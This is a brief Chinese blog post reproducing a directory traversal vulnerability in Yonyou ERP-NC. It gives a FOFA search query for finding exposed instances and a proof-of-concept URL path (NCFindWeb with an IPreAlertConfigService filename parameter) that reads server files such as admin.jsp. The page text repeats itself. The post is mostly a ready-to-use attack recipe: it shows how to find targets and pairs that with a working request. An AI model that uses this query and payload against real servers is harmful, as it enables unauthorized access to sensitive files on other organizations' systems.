⽤友ERP-NC ⽬录遍历漏洞
漏洞描述
⽤友ERP-NC 存在⽬录遍历漏洞，攻击者可以通过⽬录遍历获取敏感⽂件信息
fofa语法
app="⽤友-UFIDA-NC" |
复现
POC:
/NCFindWeb?service=IPreAlertConfigService&filename= |
查看文件（这里以admin.jsp为例）：
本博客所有文章除特别声明外，均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 剑胆琴心！
相关推荐
评论
⽤友ERP-NC 存在⽬录遍历漏洞，攻击者可以通过⽬录遍历获取敏感⽂件信息
app="⽤友-UFIDA-NC" |
POC:
/NCFindWeb?service=IPreAlertConfigService&filename= |
查看文件（这里以admin.jsp为例）：
